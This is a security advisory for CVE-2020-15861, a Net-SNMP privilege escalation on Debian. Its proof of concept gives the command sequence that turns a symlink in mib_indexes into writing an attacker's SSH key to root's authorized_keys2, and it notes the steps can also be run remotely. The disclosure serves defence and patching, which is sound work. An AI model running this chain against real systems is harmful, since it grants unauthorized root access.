usd-2020-0060 | Net-SNMP v5.7.3

Advisory ID: usd-2020-0060
CVE Number: CVE-2020-15861
Affected Product: Net-SNMP
Affected Version: 5.7.3
Vulnerability Type: Elevation of Privileges
Security Risk: High
Vendor URL: http://www.net-snmp.org/
Vendor Status: Fixed

Description

On Debian based systems, the NET-SNMP daemon runs as a low privileged user account. However, in combination with the snmp-mibs-downloader package this protection can be bypassed and it is possible for this account to elevate permissions to the root user.

The Simple Network Management Protocol (SNMP) is a widely used network protocol for controlling and monitoring network devices. Since the corresponding service (SNMP daemon) needs access to a lot of system components and (per default) binds the network port 161, it usually runs as the root user. On Debian based systems, the default installation of SNMP sets up a dedicated low privileged user account (Debian-snmp), that is used to run the SNMP daemon. This adds an additional layer of security, as a compromise of the SNMP service does not directly allow root access to the targeted device.

Proof of Concept (PoC)

After installing the SNMP daemon on a Debian based system (e.g. apt install snmpd), a new user account is created by the installer:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[..SNIP..]
Debian-snmp:x:122:127::/var/lib/snmp:/bin/false
"The Debian-snmp user has configured its home directory inside
/var/lib/snmp
which contains the following contents per default:

The Debian-snmp user has configured its home directory inside

/var/lib/snmp

which contains the following contents per default:

ubuntu@ubuntu:/var/lib/snmp$ ls -la

total 4

drwxr-xr-x 1 Debian-snmp Debian-snmp 100 Jul 7 04:57 .

drwxr-xr-x 1 root root 500 Jul 7 04:26 ..

drwx------ 2 root root 100 Jul 7 04:46 mib_indexes

-rw------- 1 Debian-snmp Debian-snmp 1097 Jul 7 04:57 snmpd.conf

After installing the snmp-mibs-downloader package, another folder is created inside this directory:

total 4
drwxr-xr-x 1 Debian-snmp Debian-snmp 100 Jul 7 04:57 .
drwxr-xr-x 1 root root 500 Jul 7 04:26 ..
drwx------ 2 root root 100 Jul 7 04:46 mib_indexes
drwxr-xr-x 4 root root 80 Jul 7 04:43 mibs
-rw------- 1 Debian-snmp Debian-snmp 1097 Jul 7 04:57 snmpd.conf

The mib_indexes folder contains different files that store lists of all available MIBs on the server. The following snipped shows that some of these MIBs are loaded from a path that is located inside the home directory of the Debian-snmp user:

root@ubuntu:/var/lib/snmp/mib_indexes# ls
0 1 2
root@ubuntu:/var/lib/snmp/mib_indexes# cat 1
DIR /usr/share/snmp/mibs/iana
IANAifType-MIB IANAifType-MIB
[..SNIP..]
root@ubuntu:/var/lib/snmp/mib_indexes# ls -l /usr/share/snmp/mibs/iana
lrwxrwxrwx 1 root root 23 Sep 1 2016 /usr/share/snmp/mibs/iana -> /var/lib/snmp/mibs/iana

The index files always contain the first word of the MIB configuration file, followed by the filename of the MIB configuration file. This allows the Debian-snmp user to partially control the contents of the index files. Furthermore, the index files are rewritten on each startup of snmpd as the root user account. This allows to perform a symlink attack as the Debian-snmp user.

To perform the attack the Debian-snmp user first moves the mib_indexes and mibs folder inside of its home directory.
Afterwards the folders are recreated.

Debian-snmp@ubuntu:/var/lib/snmp$ id
uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp)
Debian-snmp@ubuntu:/var/lib/snmp$ mv mib_indexes moved
Debian-snmp@ubuntu:/var/lib/snmp$ mkdir mib_indexes
Debian-snmp@ubuntu:/var/lib/snmp$ mv mibs moved2
Debian-snmp@ubuntu:/var/lib/snmp$ mkdir mibs
Debian-snmp@ubuntu:/var/lib/snmp$ ls -l
total 4
drwxr-xr-x 2 Debian-snmp Debian-snmp 40 Jul 7 05:00 mib_indexes
drwxr-xr-x 2 Debian-snmp Debian-snmp 40 Jul 7 05:02 mibs
drwx------ 2 root root 100 Jul 7 04:46 moved
drwxr-xr-x 4 root root 80 Jul 7 04:43 moved2
-rw------- 1 Debian-snmp Debian-snmp 1097 Jul 7 04:57 snmpd.conf

Now the folders mib_indexes and mibs are owned by Debian-snmp and it is possible to create arbitrary contents inside of them. The following snipped shows how a malicious MIB configuration file is generated and placed inside /var/lib/snmp/mibs/iana/:

Debian-snmp@ubuntu:/var/lib/snmp$ cd mibs
Debian-snmp@ubuntu:/var/lib/snmp/mibs$ mkdir iana
Debian-snmp@ubuntu:/var/lib/snmp/mibs$ cd iana/
Debian-snmp@ubuntu:/var/lib/snmp/mibs/iana$ cp /usr/share/snmp/mibs/LM-SENSORS-MIB.txt 'AAAAC3NzaC1lZDI1NTE5AAAAIEW0peoVA+OHrUlYEVQHYc1Rn1bNlEKhbx6xgnpBDnaa -MIB'
Debian-snmp@ubuntu:/var/lib/snmp/mibs/iana$ vim AAAAC3NzaC1lZDI1NTE5AAAAIEW0peoVA+OHrUlYEVQHYc1Rn1bNlEKhbx6xgnpBDnaa\ -MIB
Debian-snmp@ubuntu:/var/lib/snmp/mibs/iana$ head -n 1 AAAAC3NzaC1lZDI1NTE5AAAAIEW0peoVA+OHrUlYEVQHYc1Rn1bNlEKhbx6xgnpBDnaa\ -MIB
ssh-ed25519 DEFINITIONS ::= BEGIN
Debian-snmp@ubuntu:/var/lib/snmp/mibs/iana$ ls
'AAAAC3NzaC1lZDI1NTE5AAAAIEW0peoVA+OHrUlYEVQHYc1Rn1bNlEKhbx6xgnpBDnaa -MIB'

The filename of the MIB configuration file was chosen to match a SSH public key. The first word inside the configuration file contains the key-algorithm. The key-algorithm followed by the SSH public key will be written to an index file once the snmpd daemon is restarted. The Debian-snmp user can now setup a symlink to write the index file to an arbitrary location of the file system.

Debian-snmp@ubuntu:/var/lib/snmp/mibs/iana$ cd /var/lib/snmp/mib_indexes/
Debian-snmp@ubuntu:/var/lib/snmp/mib_indexes$ ln -s /root/.ssh/authorized_keys2 1
Debian-snmp@ubuntu:/var/lib/snmp/mib_indexes$ ls -l
total 0
lrwxrwxrwx 1 Debian-snmp Debian-snmp 27 Jul 7 05:16 1 -> /root/.ssh/authorized_keys2

After the snmpd daemon is restarted, the index files get rewritten:

Debian-snmp@ubuntu:/var/lib/snmp/mib_indexes$ ls -l
total 4
-rw-r--r-- 1 root root 1013 Jul 7 05:17 0
lrwxrwxrwx 1 Debian-snmp Debian-snmp 27 Jul 7 05:16 1 -> /root/.ssh/authorized_keys2

Using the root account it can be confirmed, that the authorized_keys2 file was written with the contents controlled by the Debian-snmp user:

root@ubuntu:~# ls -l /root/.ssh/
total 4
-rw-r--r-- 1 root root 0 Jul 7 05:17 authorized_keys
-rw-r--r-- 1 root root 116 Jul 7 05:18 authorized_keys2
root@ubuntu:~# cat /root/.ssh/authorized_keys2
DIR /usr/share/snmp/mibs/iana
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEW0peoVA+OHrUlYEVQHYc1Rn1bNlEKhbx6xgnpBDnaa -MIB

Now the Debian-snmp user can use ssh to get access as the root account.

Notice that in the demonstration above an interactive command prompt was used. However, all commands could also be executed remotely by using the NET-SNMP-EXTEND-MIB extension and an account that has read-write access to the SNMP server.

Fix

There are different possibilities to fix this issue.

  1. Don’t allow the Debian-snmp user to control the contents of the mibs and mib_indexes folders inside /var/lib/snmp.
  2. Don’t write the mib_index files as the root user, but use the Debian-snmp account instead.
  3. Don’t follow symlinks on mib_index creation.

Timeline

Credits

This security vulnerability was found by Tobias Neitzel of usd AG.